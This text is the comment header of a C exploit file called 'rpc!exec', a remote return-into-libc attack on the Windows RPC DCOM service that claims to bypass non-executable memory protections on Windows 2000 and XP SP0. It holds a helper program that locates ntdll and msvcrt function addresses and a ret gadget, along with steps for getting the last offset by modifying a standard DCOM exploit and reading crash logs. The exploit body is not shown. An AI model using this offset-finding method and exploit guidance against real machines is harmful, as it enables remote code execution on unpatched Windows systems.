/*
* have you recently bought one of those expensive new windows security products
* on the market? do you think you now have strong protection?
* Look again:
*
* *rpc!exec*
* by ins1der (trixterjack@yahoo.com)
*
* windows remote return into libc exploit!
*
* remote rpc exploit breaking non exec memory protection schemes
* tested against :
* OverflowGuard
* StackDefender (kernel32 imagebase randomization:O nice try guys.)
*
*
* currently breaking:
* Windows 2000 SP0 (english)
* Windows XP SP0 (english)
*
* to get new offsets use this:
* ------------------------------
* #include <windows.h>
* #include <stdio.h>
*
* int main()
* {
* HANDLE h1,h2;
* unsigned long addr1,addr2,addr3,addr4;
* h1=LoadLibrary("ntdll.dll");
* h2=LoadLibrary("MSVCRT.dll");
* addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");
* addr2=(unsigned long)GetProcAddress(h2,"memcpy");
* addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");
* for (addr4=addr1;addr4<addr1+0xffff;addr4++)
* {
* if (!memcmp((void*)addr4,"\xc9\xc3",2)) break;
* }
* printf("0x%x 0x%x 0x%x 0x%x\n",addr1,addr2,addr3,addr4);
* return 0;
* }
* -----------------------------
* to get the last offset use a standard rpc dcom exploit with the last
* \x90\x90 before the shellcode replaced with \xcd\x21. run the exploit
* and read the drwatson logs. substract 0xA5 from the fault address.
*
*
* Shouts go to:
* w00pz, SpaceCow, Int3, lacroix, misu200, j00(xor),
* s0ny, crisis, and to all my true friends.
*
*
* Enjoy!
*
